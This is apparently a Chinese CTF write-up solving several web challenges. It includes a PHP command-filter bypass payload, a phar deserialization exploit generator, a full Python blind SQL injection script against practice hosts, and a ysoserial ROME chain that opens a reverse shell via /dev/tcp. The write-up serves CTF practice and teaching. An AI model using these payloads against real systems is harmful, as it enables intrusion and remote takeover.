So Baby RCE
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
echo "Don't Hack Me";
}else{
system($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}
过滤了很多。主要是
-
关键词绕过
通配符,插入空字符绕过等等
-
;绕过
%0a或者&&绕过
-
/绕过
ls /
==cd 路径;ls
返回上级目录
cd ..
-
空格绕过
${IFS}
等等
payload
?cmd=cd${IFS}..%0acd${IFS}..%0acd${IFS}..%0aca$1t${IFS}ffff$1llllaaaaggggg
BabySSTI_Two
unicode编码绕过,catch_warnings被过滤,换一个类比如os._wrap_close就好了。
UnserializeThree
考点:phar反序列化,#绕过
文件上传给出上传后文件路径
注释中提示class.php
<?php
highlight_file(__FILE__);
class Evil{
public $cmd;
public function __destruct()
{
if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
//Same point ,can you bypass me again?
eval("#".$this->cmd);
}else{
echo "No!";
}
}
}
file_exists($_GET['file']);
#绕过
- 闭合php标签
- \n
- \r
这里只能用\r。
payload
<?php
class Evil{
public $cmd;
public function __construct()
{
$this->cmd = "\rsystem('cat /flag');";
}
public function __destruct()
{
if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
//Same point ,can you bypass me again?
eval("#".$this->cmd);
echo "#".$this->cmd;
}else{
echo "No!".$this->cmd;
}
}
}
$phar = new Phar("test.phar");//生成的压缩文件名为test.phar
$phar->startBuffering();
//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");
//将自定义的meta-data存入manifest
$a = new Evil();
$phar->setMetadata($a);
//添加要压缩的文件
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>
将生成的phar改图片后缀名上传后,在class.php下用phar协议访问(只要是phar文件,后缀名是什么都可以解析)
/class.php?file=phar://file_path
又一个SQL
00和01,回显两种情况,猜测使用盲注。
payload
import requests
import time
from urllib import parse
#数字
#0^(ascii(substr((select(database())),{},1))>{})
#单引号
#0' or (ascii(substr((select(database())),{},1))>{}) or '0
url="http://afe4417f-e94a-484b-bd96-f8a0e17414a5.node4.buuoj.cn:81/comments.php"
url2="http://14a849d8-1ab5-4d00-a4d6-62d9671f66b0.node4.buuoj.cn:81/comments.php?name=c"
def SqlBlind():
result=""
for i in range(1,1000):
left = 32
right = 127
mid=(left+right)//2
while left < right:
#wfy_admin,wfy_comments,wfy_information
#where(user='f1ag_is_here')
params={
# 'name':"0^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),{},1))>{})".format(i,mid),
# 'name':"c",
# 'comment':"hack",
# 'name':"0^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{})".format(i,mid),
# 'name':"0^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='wfy_information')),{},1))>{})".format(i,mid),
'name':"0^(ord(substr((select(group_concat(text))from(wfy_comments)where(user='f1ag_is_here')),{},1))>{})".format(i,mid),
}
# 请求方式
#r=requests.get(url=url,params=params)
r=requests.post(url=url,data=params)
#print(r.text)
# 防止429
if r.status_code == 429:
time.sleep(0.5)
#r=requests.get(url=url2)
# 编码
#r=str(r.json())
# True的标志 0的个数
if "好耶" in r.text:
# if r.text.count('0')==i:
left = mid+1
else:
right = mid
mid=(left+right)//2
if left <=32 or right >= 127:
break
result += chr(mid)
print("[+]",result)
if __name__ == '__main__':
SqlBlind()
Rome
@Controller
/* */ public class SerController
/* */ {
/* */ @GetMapping({"/"})
/* */ @ResponseBody
/* */ public String helloCTF() {
/* 19 */ return "Do you like Jvav?";
/* */ }
/* */ @PostMapping({"/"})
/* */ @ResponseBody
/* */ public String helloCTF(@RequestParam String EXP) throws IOException, ClassNotFoundException {
/* 24 */ if (EXP.equals("")) {
/* 25 */ return "Do you know Rome Serializer?";
/* */ }
/* 27 */ byte[] exp = Base64.getDecoder().decode(EXP);
/* 28 */ ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
/* 29 */ ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
/* 30 */ objectInputStream.readObject();
/* 31 */ return "Do You like Jvav?";
/* */ }
/* */ }
反序列化点
objectInputStream.readObject();
ROME反序列化分析
https://www.yulate.com/292.html
java版本要jdk8u-121照着文章本地复现了,但是用ysoserial写了反弹shell,题目的发送过去不可以
这周发现只要把payload拿去url编码后就可以了。
这里思考了得出的结果是
RFC3986中指定了以下字符为保留字符:! * ’ ( ) ; : @ & = + $ , / ? # [ ]
不安全字符:还有一些字符,当他们直接放在URL中的时候,可能会引起解析程序的歧义。这些字符被视为不安全字符,原因有很多。
- 空格:Url 在传输的过程,或者用户在排版的过程,或者文本处理程序在处理Url的过程,都有可能引入无关紧要的空格,或者将那些有意义的空格给去掉。
- 引号以及<>:引号和尖括号通常用于在普通文本中起到分隔Url的作用
- #:通常用于表示书签或者锚点
- %:百分号本身用作对不安全字符进行编码时使用的特殊字符,因此本身需要编码
- {}|^[]`~:某一些网关或者传输代理会篡改这些字符
而base64加密后可能会出现+,/,=
解题步骤
java -jar ysoserial.jar ROME "bash -c {echo,xxx}|{base64,-d}|{bash,-i}" > 1.txt
xxx为base64后的bash -i >& /dev/tcp/ip/2333 0>&1
这里> 1.txt
是因为如果我加了|base64
生成了之后会出现其他符号
用python或者cyberchef来base64加密
exp
EXP=对上面生成的base64再进行url编码
连接后flag在根目录